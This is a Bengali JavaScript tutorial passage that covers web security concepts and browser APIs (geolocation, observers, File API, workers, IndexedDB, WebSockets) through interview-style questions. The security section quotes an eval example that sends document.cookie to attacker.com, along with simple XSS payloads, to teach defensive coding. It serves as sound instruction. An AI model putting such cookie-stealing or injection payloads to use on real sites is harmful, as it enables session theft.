Which browser origins can access this response?
Authentication বলে:
Who is the user?
Authorization বলে:
What can this user do?
তিনটি আলাদা বিষয়।
CSP XSS risk reduce করতে সাহায্য করে। কিন্তু:
CSP
≠
Complete Security
Safe coding, output encoding, proper sanitization, framework protections—সব দরকার।
এই:
if (username.length > 3) {
// okay
}
শুধু business/input validation। Security-এর জন্য context অনুযায়ী:
Validation + Encoding + Sanitization + Authorization + Server-side checks
প্রয়োজন হতে পারে।
Code লেখার সময় নিজেকে প্রশ্ন করো:
1. এই input কোথা থেকে এসেছে? 2. User কি এটা control করতে পারে? 3. আমি কি এটা HTML হিসেবে render করছি? 4. Backend কি আবার validate করছে? 5. User এই action-এর জন্য authorized? 6. Sensitive data কোথায় রাখা হচ্ছে? 7. Token JavaScript access করতে পারছে? 8. API কি HTTPS-এ চলছে? 9. Error response sensitive data leak করছে? 10. Dependency নিরাপদ ও updated?
চ্যাপ্টার ৩১ থেকে প্রতিটি সফটওয়্যার ইঞ্জিনিয়ারের যেসব বিষয় সরাসরি মস্তিষ্কে গেঁথে থাকা বাধ্যতামূলক:
innerHTML, eval()textContent, DOMPurifyওয়েব সিকিউরিটির সর্বাধিক ব্যবহৃত টার্মগুলোর তাৎক্ষণিক অর্থ ও ভূমিকা:
| Concept | মনে রাখবে |
|---|---|
| XSS | Untrusted script/content execution |
| CSRF | Authenticated user দিয়ে unwanted action করানোর চেষ্টা |
| CORS | Cross-origin browser access control |
| SOP | Same-origin browser security policy |
| CSP | Allowed resource/script policy |
| Authentication | তুমি কে? |
| Authorization | তুমি কী করতে পারো? |
| HttpOnly | JS থেকে cookie access বন্ধ করে |
| Secure | HTTPS-এ cookie পাঠানোর জন্য |
| SameSite | Cross-site cookie behavior control |
| JWT | Token format |
eval() | Dynamic code execution; avoid |
| Prototype Pollution | Prototype chain-এর unsafe modification |
| HTTPS | Transport security |
| Validation | Input acceptable কি না |
| Sanitization | Unsafe content clean/transform করা |
| Rate Limiting | Request abuse সীমিত করা |
প্রোডাকশন গ্রেড ওয়েব অ্যাপ্লিকেশন তৈরির সময় প্রতিটি ইঞ্জিনিয়ারের এই ১০টি মূলনীতি মেনে চলা আবশ্যক:
eval() and new Function() with untrusted input.
textContent over innerHTML for plain text rendering.
HttpOnly; Secure; SameSite cookies.
npm audit.
বাস্তব জীবনের প্রোডাকশন সিকিউরিটি ডিফেন্স যাচাই করতে ১০টি ইন্টারভিউ চ্যালেঞ্জের বিস্তারিত ব্যাখ্যা ও সমাধান:
❓ কোনটি safer: element.innerHTML = userInput নাকি element.textContent = userInput? কেন?
// ❌ Dangerous Sink:
element.innerHTML = userInput; // Executes <img src=x onerror=alert(1)>
// ✅ Safe Property:
element.textContent = userInput; // Encodes characters as harmless plain text
Plain Text Safe Render
<img src="x" onerror="...">) থাকে, তবে ব্রাউজার তা এক্সিকিউট করে ফেলবে (DOM XSS)।
৩. অপরদিকে, 'textContent' ব্রাউজারের পার্সারকে বাইপাস করে এবং ইনপুটকে খাঁটি স্ট্রিং হিসেবে DOM টেক্সট নোডে ইনসার্ট করে। সব বিশেষ ক্যারেক্টার স্বয়ংক্রিয়ভাবে নিষ্ক্রিয় থাকে।❓ Authentication আর Authorization-এর মূল পার্থক্য কী?
// Authentication (Identity Verification):
const isAuthenticated = verifyPassword(user.email, user.password); // "Who are you?"
// Authorization (Permission / Access Control):
const isAuthorized = user.role === "admin" && user.permissions.includes("DELETE_USER"); // "What are you allowed to do?"
AuthN: Verified User | AuthZ: Access Granted
❓ CORS কী সমাধান করে এবং কেন এটি গুরুত্বপূর্ণ?
// Browser Same-Origin Policy blocks Cross-Origin Fetch by default:
fetch("https://api.bank.com/data"); // Blocked if frontend is https://my-app.com
// Server sends CORS response header to explicitly allow access:
// Access-Control-Allow-Origin: https://my-app.com
Cross-Origin Access Allowed by Server
❓ কেন eval(userInput) ব্যবহার করা অত্যন্ত বিপজ্জনক?
// ❌ Extreme Hazard:
const userInput = 'fetch("https://attacker.com/steal?c=" + document.cookie)';
eval(userInput); // Arbitrary Code Executed with Full User Privileges!
// ✅ Safe Alternative:
const safeData = JSON.parse(userInputJson);
Malicious Code Injected & Executed
❓ কেন 'if (user.role === "admin") showDeleteButton();' সিকিউরিটির জন্য যথেষ্ট নয়?
// ❌ Frontend-only UI Hiding (False Sense of Security):
if (user.role === "admin") {
showDeleteButton();
}
// ⚠️ Attacker can easily inspect DevTools, unhide the button, or run:
fetch("/api/delete-user/42", { method: "DELETE" });
// ✅ Mandatory Server-side Authorization:
app.delete("/api/delete-user/:id", verifyToken, requireRole("admin"), (req, res) => {
// Authorized action executed safely on server
});
Unauthorized Request Blocked with 403 Forbidden
❓ Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax এর প্রতিটি অংশের ভূমিকা ব্যাখ্যা করো।
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax
Session Cookie Hardened against XSS & CSRF
❓ নিচের কোডের সিকিউরিটি সমস্যা চিহ্নিত করো এবং নিরাপদ কোডে রূপান্তর করো:
// ❌ Vulnerable DOM-based XSS:
const query = location.search; // Attacker sends: ?name=<img src=x onerror=alert(1)>
document.querySelector("#result").innerHTML = query;
// ✅ Production Safe Solution:
const params = new URLSearchParams(location.search);
const safeQuery = params.get("name") || "";
document.querySelector("#result").textContent = safeQuery;
Sanitized Safe DOM Insertion
❓ XSS, CSRF এবং CORS-এর মূল পার্থক্য ও সম্পর্ক এক নজরে ব্যাখ্যা করো।
// XSS: Attacker runs arbitrary JavaScript inside victim's trusted browser.
// CSRF: Attacker tricks victim's browser into sending an authenticated request to a trusted server.
// CORS: Browser mechanism to allow or deny cross-origin HTTP responses.
XSS = Code Injection | CSRF = Request Forgery | CORS = Browser Origin Restriction
❓ কেন frontend JavaScript কোডে 'const SECRET_API_KEY = "super-secret";' রাখা যাবে না?
// ❌ Fatal Security Anti-Pattern:
const SECRET_STRIPE_KEY = "sk_live_51M..."; // Publicly Visible in Network & Sources tab!
// ✅ Safe Production Architecture:
// Frontend calls internal backend API -> Backend calls Stripe using Secret Key stored on Server Env.
Secret Protected Behind Server Proxy
❓ একটি সুরক্ষিত অ্যাডমিন ড্যাশবোর্ডের প্রতিটি লেয়ারের সিকিউরিটি মেজার ডিজাইন করো:
// Enterprise Multi-Layer Security Architecture:
// 1. Transport Layer: HTTPS (TLS 1.3) + HSTS
// 2. Client Security: CSP + Frame-Ancestors DENY + HttpOnly Cookies
// 3. Auth Pipeline: bcrypt hashed password + Rate-limited Login + MFA
// 4. API Layer: JWT Signature Verification + Server-side RBAC + Input Validation
// 5. Database: Parameterized SQL queries (No Injection) + Principle of Least Privilege
Zero-Trust Defense-in-Depth Pipeline Active
ব্রাউজার, নেটওয়ার্ক, অ্যাপ্লিকেশন ও ডেটাবেস স্তরের সমন্বিত নিরাপত্তা কাঠামোর মানসিক মানচিত্র:
WEB SECURITY
│
┌─────────────────┼─────────────────┐
│ │ │
▼ ▼ ▼
Browser Identity Network
Security Security Security
│ │ │
├─ XSS ├─ Auth ├─ HTTPS
├─ CSP ├─ Authorization ├─ CORS
├─ SOP ├─ Cookies ├─ CSRF
├─ DOM Security └─ JWT └─ Headers
│
▼
Input Security
│
├─ Validation
├─ Sanitization
├─ Encoding
└─ Safe DOM APIs
│
▼
Application Security
│
┌──────────┼──────────┐
▼ ▼ ▼
API Database Dependencies
│
├─ Authorization
├─ Rate Limit
├─ Validation
└─ Safe Errors
User Input ↓ Untrusted ↓ Validate ↓ Sanitize / Encode where needed ↓ Authenticate ↓ Authorize ↓ Secure API ↓ Secure Database ↓ Safe Response ↓ Secure Browser Rendering
JavaScript-এর কোর ল্যাঙ্গুয়েজের সীমানা ছাড়িয়ে ব্রাউজার রানটাইম ডেভেলপারদের যেসব শক্তিশালী প্ল্যাটফর্ম এপিআই প্রদান করে, আধুনিক ওয়েব অ্যাপ্লিকেশনের প্রাণশক্তি হলো সেগুলো। এই চ্যাপ্টারে আমরা Geolocation, IntersectionObserver, MutationObserver, ResizeObserver, File API & Blob, Web Workers, BroadcastChannel, IndexedDB এবং WebSockets গভীরভাবে শিখব।
Browser API হলো browser-এর দেওয়া JavaScript interface, যার মাধ্যমে JavaScript browser-এর বিভিন্ন capability ব্যবহার করতে পারে। যেমন:
navigator.geolocation;
এর মাধ্যমে location access করা যায়।
navigator.clipboard;
এর মাধ্যমে clipboard ব্যবহার করা যায়।
window.history;
এর মাধ্যমে browser history পরিবর্তন করা যায়।
JavaScript নিজে জানে:
let x = 10;
console.log(x);
কিন্তু browser JavaScript-কে extra ক্ষমতা দেয়:
navigator.geolocation;
navigator.clipboard;
window.history;
window.localStorage;
Website থেকে user's geographic location নেওয়ার জন্য Geolocation API ব্যবহার করা হয়।
navigator.geolocation.getCurrentPosition(success, error);
navigator.geolocation.getCurrentPosition(
(position) => {
console.log(position.coords.latitude);
console.log(position.coords.longitude);
},
(error) => {
console.log(error.message);
},
);
23.8103 90.4125
এগুলো latitude এবং longitude।
Food delivery website:
Current Location ↓ GPS ↓ Latitude + Longitude ↓ Nearby Restaurants
position.coords.latitude;
position.coords.longitude;
position.coords.accuracy;
position.coords.altitude;
position.coords.speed;
সবসময় সব property পাওয়া যাবে এমন নয়।
function getLocation() {
navigator.geolocation.getCurrentPosition(
(position) => {
const { latitude, longitude } = position.coords;
console.log(`Latitude: ${latitude}`);
console.log(`Longitude: ${longitude}`);
},
(error) => {
console.error("Location error:", error.message);
},
);
}
getLocation();
watchPosition()User-এর location continuously track করার জন্য:
const watchId = navigator.geolocation.watchPosition((position) => {
console.log(position.coords.latitude);
});
Stop করতে:
navigator.geolocation.clearWatch(watchId);
Ride-sharing app:
Driver moves
↓
GPS updates
↓
watchPosition()
↓
Map updates
⚠️ Location permission এবং privacy অত্যন্ত গুরুত্বপূর্ণ।
JavaScript-এর URL object দিয়ে URL parse এবং manipulate করা যায়।
const url = new URL("https://example.com/products?id=101&category=phone");
console.log(url.hostname);
console.log(url.pathname);
console.log(url.search);
example.com /products ?id=101&category=phone
url.href;
url.protocol;
url.host;
url.hostname;
url.port;
url.pathname;
url.search;
url.hash;
Example:
const url = new URL("https://example.com:8080/products?id=10#details");
console.log(url.protocol); // https:
console.log(url.hostname); // example.com
console.log(url.port); // 8080
console.log(url.pathname); // /products
console.log(url.search); // ?id=10
console.log(url.hash); // #details
Query parameters handle করার জন্য URLSearchParams খুব useful।
const params = new URLSearchParams("?name=Ripon&age=24");
console.log(params.get("name"));
console.log(params.get("age"));
Output:
Ripon 24
params.set("city", "Dhaka");
params.delete("age");
params.has("name");
console.log(params.toString());
const params = new URLSearchParams({
search: "laptop",
page: 2,
limit: 20,
});
const url = `/products?${params}`;
console.log(url);
Output:
/products?search=laptop&page=2&limit=20
🔥 React/Next.js/Node.js API development-এ এটি খুব common।
Browser-এর history manipulate করার জন্য:
window.history;
ব্যবহার করা হয়। Important methods:
history.back();
history.forward();
history.go();
history.pushState();
history.replaceState();
pushState()নতুন history entry তৈরি করে।
history.pushState({ page: 2 }, "", "/products?page=2");
Browser URL পরিবর্তন হবে:
/products?page=2
কিন্তু page reload হবে না।
replaceState()বর্তমান history entry replace করে।
history.replaceState({ page: 2 }, "", "/products?page=2");
popstate EventBack/forward navigation detect করতে:
window.addEventListener("popstate", (event) => {
console.log(event.state);
});
React Router-এর মতো routing system-এর concept বুঝতে History API জানা গুরুত্বপূর্ণ।
Copy/paste functionality তৈরি করতে:
navigator.clipboard;
ব্যবহার করা হয়।
navigator.clipboard.writeText("Hello World");
navigator.clipboard.readText().then((text) => {
console.log(text);
});
async function copyText() {
try {
await navigator.clipboard.writeText("Hello Ripon");
console.log("Copied!");
} catch (error) {
console.error("Copy failed:", error);
}
}
copyText();
API Key ↓ [ Copy ] ↓ Clipboard API
GitHub, password managers, developer tools ইত্যাদিতে এই concept দেখা যায়।
Browser notification দেখানোর জন্য:
Notification;
Notification.requestPermission();
new Notification("Hello!");
async function showNotification() {
const permission = await Notification.requestPermission();
if (permission === "granted") {
new Notification("New Message", {
body: "You received a new message.",
});
}
}
showNotification();
Possible permission:
granted denied default
⚠️ Browser permission এবং user privacy rules গুরুত্বপূর্ণ।
এটি detect করতে পারে কোনো element viewport-এর মধ্যে এসেছে কিনা।
const observer = new IntersectionObserver((entries) => {
entries.forEach((entry) => {
if (entry.isIntersecting) {
console.log("Element visible!");
}
});
});
const box = document.querySelector(".box");
observer.observe(box);
Page ↓ Image এখনো screen-এর বাইরে ↓ User scroll করে ↓ Image viewport-এ আসে ↓ IntersectionObserver ↓ Image load
<img class="lazy" data-src="image.jpg" alt="Example" />
const observer = new IntersectionObserver((entries) => {
entries.forEach((entry) => {
if (entry.isIntersecting) {
const img = entry.target;
img.src = img.dataset.src;
observer.unobserve(img);
}
});
});
document.querySelectorAll(".lazy").forEach((img) => observer.observe(img));
🔥 Performance optimization-এ খুব important।
DOM-এর মধ্যে কোনো পরিবর্তন হলে detect করতে:
MutationObserver;
ব্যবহার করা হয়।
const observer = new MutationObserver((mutations) => {
console.log("DOM changed!");
});
const target = document.querySelector("#app");
observer.observe(target, {
childList: true,
subtree: true,
});
const div = document.querySelector("#app");
div.innerHTML += "<p>Hello</p>";
Observer detect করতে পারবে।
Dynamic application:
DOM changes
↓
MutationObserver
↓
Detect changes
↓
Run logic
কোনো element-এর size পরিবর্তন detect করতে:
const observer = new ResizeObserver((entries) => {
for (const entry of entries) {
console.log(entry.contentRect.width);
console.log(entry.contentRect.height);
}
});
observer.observe(document.querySelector(".box"));
Responsive dashboard:
Sidebar resize
↓
Container size changes
↓
ResizeObserver
↓
Chart resize
| API | কী observe করে? |
|---|---|
IntersectionObserver | Element viewport-এর সাথে intersect করছে কিনা |
MutationObserver | DOM change |
ResizeObserver | Element size change |
🧠 সহজে মনে রাখুন:
Intersection → Screen visibility Mutation → DOM changes Resize → Size changes
Browser-এ user যখন file select করে:
<input type="file" id="fileInput" />
JavaScript:
const input = document.querySelector("#fileInput");
input.addEventListener("change", () => {
const file = input.files[0];
console.log(file.name);
console.log(file.size);
console.log(file.type);
});
Possible output:
photo.jpg 245678 image/jpeg
Important properties:
file.name;
file.size;
file.type;
file.lastModified;
File-এর content পড়তে:
const reader = new FileReader();
reader.readAsText(file);
তারপর:
reader.onload = () => {
console.log(reader.result);
};
Complete:
const input = document.querySelector("#fileInput");
input.addEventListener("change", () => {
const file = input.files[0];
const reader = new FileReader();
reader.onload = () => {
console.log(reader.result);
};
reader.readAsText(file);
});
Image preview তৈরি করতে:
const reader = new FileReader();
reader.onload = () => {
img.src = reader.result;
};
reader.readAsDataURL(file);
Profile picture upload:
Select Image ↓ File API ↓ FileReader ↓ Preview ↓ Upload
Blob হলো binary-like data-এর একটি container।
const blob = new Blob(["Hello World"], { type: "text/plain" });
তারপর:
console.log(blob.size);
console.log(blob.type);
Blob ব্যবহার হতে পারে:
Blob/File-এর জন্য temporary URL তৈরি করা যায়:
const url = URL.createObjectURL(blob);
console.log(url);
এটি এমন URL দিতে পারে:
blob:https://example.com/...
const imageURL = URL.createObjectURL(file);
img.src = imageURL;
কাজ শেষ হলে:
URL.revokeObjectURL(imageURL);
🔥 Object URL revoke করা memory management-এর জন্য important।
HTML:
<div id="dropZone">Drop File Here</div>
JavaScript:
const dropZone = document.querySelector("#dropZone");
dropZone.addEventListener("dragover", (event) => {
event.preventDefault();
});
dropZone.addEventListener("drop", (event) => {
event.preventDefault();
const files = event.dataTransfer.files;
console.log(files);
});
Computer ↓ Drag file ↓ Drop Zone ↓ dataTransfer.files ↓ Upload
JavaScript-এর heavy কাজ main thread block করতে পারে। Web Worker ব্যবহার করলে আলাদা worker context-এ JavaScript চালানো যায়।
const worker = new Worker("worker.js");
worker.postMessage(1000000000);
worker.onmessage = (event) => {
console.log(event.data);
};
self.onmessage = (event) => {
const number = event.data;
let result = 0;
for (let i = 0; i < number; i++) {
result += i;
}
self.postMessage(result);
};
Main Thread ↓ postMessage() Worker ↓ postMessage() Main Thread
ধরুন:
for (let i = 0; i < 10_000_000_000; i++) {
// heavy work
}
Main thread-এ করলে UI freeze করতে পারে। Worker ব্যবহার করলে main UI responsive রাখা যায়।
⚠️ Worker-এর DOM access সরাসরি করা যায় না।
একই origin-এর multiple browser contexts-এর মধ্যে message পাঠাতে:
const channel = new BroadcastChannel("app_channel");
Message পাঠান:
channel.postMessage({
type: "logout",
});
অন্য tab:
channel.onmessage = (event) => {
console.log(event.data);
};
ধরুন একই website দুইটি tab-এ খোলা:
Tab 1 ↓ logout BroadcastChannel ↓ Tab 2 ↓ User logged out
Browser-এর ভিতরে structured data store করার জন্য IndexedDB ব্যবহার করা যায়। এটি:
localStorage
এর চেয়ে অনেক powerful। IndexedDB:
const request = indexedDB.open("MyDatabase", 1);
Database তৈরি হলে:
request.onupgradeneeded = (event) => {
const db = event.target.result;
db.createObjectStore("users", {
keyPath: "id",
});
};
তারপর database:
request.onsuccess = (event) => {
const db = event.target.result;
console.log("Database opened");
};
Offline-first application:
Server ↓ IndexedDB ↓ Browser local database ↓ Offline usage
| Feature | localStorage | IndexedDB |
|---|---|---|
| Data | String | Structured data |
| Size | Limited | Much larger |
| Async | ❌ | ✅ |
| Transactions | ❌ | ✅ |
| Complex data | Limited | ✅ |
| Large applications | ❌ | ✅ |
HTTP request-এর ক্ষেত্রে সাধারণ flow:
Client → Request Server → Response
WebSocket persistent connection তৈরি করতে পারে:
Client ←→ Server
const socket = new WebSocket("wss://example.com/socket");
Connection:
socket.onopen = () => {
console.log("Connected");
};
Message:
socket.onmessage = (event) => {
console.log(event.data);
};
Send:
socket.send("Hello Server");
Close:
socket.close();
Chat application:
User A ↕ WebSocket Server ↕ User B
Use cases:
Mobile/browser-supported environments-এ native share dialog ব্যবহার করা যায়।
async function sharePage() {
if (navigator.share) {
await navigator.share({
title: "My Website",
text: "Check this website",
url: location.href,
});
}
}
Button:
<button onclick="sharePage()">Share</button>
User browser tab দেখছে কিনা detect করতে:
document.visibilityState;
Possible values:
visible hidden
Event:
document.addEventListener("visibilitychange", () => {
if (document.hidden) {
console.log("Tab hidden");
} else {
console.log("Tab visible");
}
});
Video:
User watches video ↓ Switches tab ↓ visibilitychange ↓ Pause video
Music player-এও বিভিন্ন UI optimization করা যায়।
কিছু browser/device-এ screen যেন automatically sleep না করে তার জন্য Wake Lock API ব্যবহার করা যায়।
let wakeLock;
async function requestWakeLock() {
try {
wakeLock = await navigator.wakeLock.request("screen");
console.log("Screen wake lock active");
} catch (error) {
console.error(error);
}
}
Browser environment-এর information/capability access করতে:
navigator;
ব্যবহার করা হয়। উদাহরণ:
console.log(navigator.language);
console.log(navigator.onLine);
console.log(navigator.userAgent);
আরও:
navigator.geolocation;
navigator.clipboard;
navigator.mediaDevices;
navigator.permissions;
navigator.storage;
navigator.hardwareConcurrency;
navigator.onLineBrowser online/offline state সম্পর্কে একটি hint পাওয়া যায়:
if (navigator.onLine) {
console.log("Online");
} else {
console.log("Offline");
}
Events:
window.addEventListener("online", () => {
console.log("Back online");
});
window.addEventListener("offline", () => {
console.log("Offline");
});
⚠️ navigator.onLine internet-এর end-to-end connectivity-এর নিশ্চয়তা দেয় না।
Browser permission state query করার জন্য:
navigator.permissions.query();
Example:
navigator.permissions
.query({
name: "geolocation",
})
.then((result) => {
console.log(result.state);
});
Possible:
granted denied prompt
Advanced Browser API ব্যবহার করার সময় security গুরুত্বপূর্ণ।
Geolocation:
User permission ↓ Location access
Clipboard:
User interaction / browser security ↓ Clipboard access
Notification:
Permission
↓
Notification
তাই browser API মানেই unrestricted access নয়।
HTML:
<input type="file" id="imageInput" />
<img id="preview" width="300" alt="Preview" />
JavaScript:
const input = document.querySelector("#imageInput");
const preview = document.querySelector("#preview");
input.addEventListener("change", () => {
const file = input.files[0];
if (!file) return;
const url = URL.createObjectURL(file);
preview.src = url;
preview.onload = () => {
URL.revokeObjectURL(url);
};
});
<input type=file>
↓
File
↓
Object URL
↓
Image Preview
↓
revokeObjectURL()
HTML:
<p id="text">JavaScript is powerful.</p>
<button id="copyBtn">Copy</button>
JavaScript:
const text = document.querySelector("#text");
const button = document.querySelector("#copyBtn");
button.addEventListener("click", async () => {
try {
await navigator.clipboard.writeText(text.textContent);
button.textContent = "Copied!";
setTimeout(() => {
button.textContent = "Copy";
}, 1500);
} catch (error) {
console.error(error);
}
});
<img class="lazy" data-src="large-image.jpg" width="500" alt="Large image" />
const images = document.querySelectorAll(".lazy");
const observer = new IntersectionObserver((entries) => {
entries.forEach((entry) => {
if (!entry.isIntersecting) return;
const img = entry.target;
img.src = img.dataset.src;
observer.unobserve(img);
});
});
images.forEach((img) => {
observer.observe(img);
});
এটি large website-এর performance improve করতে সাহায্য করতে পারে।
const channel = new BroadcastChannel("notifications");
channel.postMessage({
message: "New task added",
});
const channel = new BroadcastChannel("notifications");
channel.onmessage = (event) => {
console.log(event.data.message);
};
Output:
New task added
| Problem | API |
|---|---|
| Location | Geolocation |
| URL parse | URL |
| Query parameters | URLSearchParams |
| Browser route | History API |
| Copy text | Clipboard |
| Notification | Notifications |
| Viewport visibility | IntersectionObserver |
| DOM changes | MutationObserver |
| Element resize | ResizeObserver |
| File upload | File API |
| Read file | FileReader |
| Binary data | Blob |
| Temporary file URL | Object URL |
| Drag file | Drag & Drop |
| Heavy computation | Web Worker |
| Tab communication | BroadcastChannel |
| Large local database | IndexedDB |
| Real-time communication | WebSocket |
| Native sharing | Web Share |
| Tab visibility | Page Visibility |
| Prevent screen sleep | Wake Lock |
| Browser capabilities | Navigator |
| Permission state | Permissions API |
# 🔥 32.36 MUST KNOW এই Chapter থেকে এগুলো অবশ্যই ভালোভাবে জানতে হবে:
new URL();
new URLSearchParams();
history.pushState();
history.replaceState();
Lazy loading এবং viewport detection-এর জন্য।
DOM changes detect করার জন্য।
Element size change detect করার জন্য।
input.files;
File content পড়তে।
Binary-like data handle করতে।
Heavy computation আলাদা worker context-এ চালাতে।
Browser-side structured database।
Real-time two-way communication।
Copy/paste।
Multiple tabs communication। # 🧠 Quick Cheat Sheet
// Location
navigator.geolocation.getCurrentPosition(...);
// URL
const url = new URL("https://example.com");
// Query params
const params = new URLSearchParams("?id=10");
// History
history.pushState({}, "", "/home");
// Clipboard
await navigator.clipboard.writeText("Hello");
// Notification
await Notification.requestPermission();
// Intersection
new IntersectionObserver(callback);
// DOM mutation
new MutationObserver(callback);
// Resize
new ResizeObserver(callback);
// File
input.files[0];
// FileReader
new FileReader();
// Blob
new Blob(["Hello"]);
// Object URL
URL.createObjectURL(file);
// Worker
new Worker("worker.js");
// Broadcast
new BroadcastChannel("channel");
// IndexedDB
indexedDB.open("Database");
// WebSocket
new WebSocket("wss://example.com");
// Share
navigator.share({...});
// Visibility
document.visibilityState;
// Wake Lock
navigator.wakeLock.request("screen");
// Permissions
navigator.permissions.query({...});
# 📝 Practice Set
1. Current browser URL থেকে hostname বের করুন। 2. URL থেকে id query parameter বের করুন। 3. একটা Copy button তৈরি করুন। 4. একটা image upload করে preview দেখান। 5. একটা notification button তৈরি করুন।
6. IntersectionObserver দিয়ে lazy image loader তৈরি করুন। 7. MutationObserver দিয়ে DOM change detect করুন। 8. ResizeObserver দিয়ে box-এর width display করুন। 9. Drag & Drop image uploader তৈরি করুন। 10. BroadcastChannel ব্যবহার করে দুই tab-এর মধ্যে message পাঠান।
11. Web Worker ব্যবহার করে large calculation করুন। 12. IndexedDB-তে user data save করুন। 13. WebSocket দিয়ে real-time chat UI তৈরি করুন। 14. History API দিয়ে simple SPA router তৈরি করুন। 15. File API + Blob + Object URL ব্যবহার করে browser-based file preview/download system তৈরি করুন। # 🎯 Final Mental Map পুরো Chapter-টা এভাবে মনে রাখুন:
Browser APIs │ ┌──────────────┼──────────────┐ │ │ │ Browser DOM/View Storage Features APIs │ │ │ │ ├─ Location ├─ Intersection ├─ IndexedDB ├─ Clipboard ├─ Mutation ├─ localStorage ├─ Notification├─ Resize └─ Cookies ├─ Share │ └─ History │ │ File & Data │ ┌───────┼────────┐ │ │ │ FileReader Blob Object URL Communication │ ┌───────┼────────┐ │ │ │ WebSocket Worker Broadcast Browser State │ ┌───────┼────────┐ │ │ │ Visibility Permissions Wake Lock
JavaScript দিয়ে শুধু calculation বা DOM manipulation করাই নয়—Browser APIs ব্যবহার করে তুমি:
📍 Location 📋 Clipboard 🔔 Notifications 📁 Files 🖼️ Image Preview ⚡ Performance 🧵 Web Workers 💾 Browser Database 💬 Real-time Communication 📡 WebSocket 📑 History/Routing 📤 Native Sharing 👀 Visibility Detection
এর মতো real-world functionality তৈরি করতে পারবে। পরবর্তী Chapter 33 → JavaScript Web Performance & Optimization — এখানে আমরা দেখব কীভাবে JavaScript application দ্রুত, lightweight, responsive এবং production-ready করা যায়।
মডার্ন ওয়েব অ্যাপ্লিকেশনের জন্য যেসব ব্রাউজার এপিআই প্রতিটি ইঞ্জিনিয়ারের নখদর্পণে থাকা প্রয়োজন:
দৈনন্দিন প্রোডাকশন ডেভেলপমেন্টে বহুল ব্যবহৃত ব্রাউজার এপিআই মেথডগুলোর দ্রুত সিনট্যাক্স গাইড:
// Location
navigator.geolocation.getCurrentPosition(...);
// URL
const url = new URL("https://example.com");
// Query params
const params = new URLSearchParams("?id=10");
// History
history.pushState({}, "", "/home");
// Clipboard
await navigator.clipboard.writeText("Hello");
// Notification
await Notification.requestPermission();
// Intersection
new IntersectionObserver(callback);
// DOM mutation
new MutationObserver(callback);
// Resize
new ResizeObserver(callback);
// File
input.files[0];
// FileReader
new FileReader();
// Blob
new Blob(["Hello"]);
// Object URL
URL.createObjectURL(file);
// Worker
new Worker("worker.js");
// Broadcast
new BroadcastChannel("channel");
// IndexedDB
indexedDB.open("Database");
// WebSocket
new WebSocket("wss://example.com");
// Share
navigator.share({...});
// Visibility
document.visibilityState;
// Wake Lock
navigator.wakeLock.request("screen");
// Permissions
navigator.permissions.query({...});
রিয়েল-ওয়ার্ল্ড ব্রাউজার এপিআই দক্ষতায় পূর্ণাঙ্গ পারদর্শিতা অর্জন করতে ১৫টি ইন্টারভিউ প্রবলেমের সমাধান:
❓ বর্তমান ব্রাউজার URL থেকে hostname বের করার নিরাপদ উপায় কী?
// Method 1: Using window.location directly
const host1 = window.location.hostname; // e.g. "developer.mozilla.org"
// Method 2: Using the modern URL API for any string
const parsedUrl = new URL("https://github.com/Shariar-Ahamed/Note-Book?tab=readme");
console.log(parsedUrl.hostname); // "github.com"
console.log(parsedUrl.pathname); // "/Shariar-Ahamed/Note-Book"
github.com
❓ URL থেকে 'id' কুয়েরি প্যারামিটার কীভাবে সহজে বের করবে?
const searchParams = new URLSearchParams(window.location.search);
// Example URL: https://site.com/products?id=42&category=laptops
if (searchParams.has("id")) {
const productId = searchParams.get("id");
console.log("Found Product ID:", productId); // "42"
}
Found Product ID: 42
❓ আধুনিক ব্রাউজারে একটি সুরক্ষিত ও অ্যাসিঙ্ক কপি বাটন কীভাবে তৈরি করবে?
async function copyToClipboard(textToCopy) {
try {
await navigator.clipboard.writeText(textToCopy);
console.log("Copied to clipboard successfully!");
} catch (err) {
console.error("Clipboard permission denied or error:", err);
}
}
// User trigger:
document.querySelector("#copyBtn").addEventListener("click", () => {
copyToClipboard("npm install antigravity-ide");
});
Copied to clipboard successfully!
❓ ইউজার ইমেজ ফাইল আপলোড করলে তা সার্ভারে না পাঠিয়ে লোকাল প্রিভিউ কীভাবে দেখাবে?
const fileInput = document.querySelector("#imageInput");
const previewImg = document.querySelector("#preview");
fileInput.addEventListener("change", (e) => {
const file = e.target.files[0];
if (file && file.type.startsWith("image/")) {
const reader = new FileReader();
reader.onload = (event) => {
previewImg.src = event.target.result; // Base64 DataURL
};
reader.readAsDataURL(file);
}
});
data:image/png;base64,iVBORw0KGgo...
❓ ইউজারের অনুমতি নিয়ে কীভাবে ব্রাউজার নোটিফিকেশন পাঠাবে?
async function triggerDesktopNotification(title, message) {
if (!("Notification" in window)) return;
let perm = Notification.permission;
if (perm === "default") {
perm = await Notification.requestPermission();
}
if (perm === "granted") {
new Notification(title, {
body: message,
icon: "/assets/bell.png"
});
}
}
Desktop Push Notification Displayed
❓ স্ক্রল ইভেন্ট লিসেনার ছাড়া শুধুমাত্র IntersectionObserver দিয়ে ইমেজ লেজি লোড কীভাবে করবে?
const observer = new IntersectionObserver((entries, obs) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
const img = entry.target;
img.src = img.dataset.src; // Swap placeholder with real image
img.classList.add("loaded");
obs.unobserve(img); // Disconnect after load to save resources
}
});
}, { threshold: 0.1 });
document.querySelectorAll("img.lazy").forEach(img => observer.observe(img));
Zero-Lag Lazy Loading Active (Images load as they enter viewport)
❓ কোনো এলিমেন্টে নতুন চাইল্ড নোড যুক্ত বা মুছে ফেলা হলে তা কীভাবে ট্র্যাক করবে?
const targetContainer = document.querySelector("#chatBox");
const observer = new MutationObserver((mutations) => {
mutations.forEach(mutation => {
if (mutation.type === "childList") {
console.log("Nodes added:", mutation.addedNodes.length);
console.log("Nodes removed:", mutation.removedNodes.length);
}
});
});
observer.observe(targetContainer, { childList: true, subtree: true });
Nodes added: 1 | Chat Auto-Scrolled
❓ উইন্ডো রিসাইজ ছাড়াই নির্দিষ্ট কোনো কার্ড বা ডিভাইসের সাইজ পরিবর্তন কীভাবে মনিটর করবে?
const card = document.querySelector(".resizable-card");
const resizeObserver = new ResizeObserver((entries) => {
for (let entry of entries) {
const { width, height } = entry.contentRect;
card.querySelector(".size-label").textContent = `${Math.round(width)}px × ${Math.round(height)}px`;
}
});
resizeObserver.observe(card);
Real-time dimensions: 320px × 180px
❓ ব্রাউজারে একটি ড্র্যাগ অ্যান্ড ড্রপ ফাইল ড্রপজোন কীভাবে তৈরি করবে?
const dropzone = document.querySelector("#dropzone");
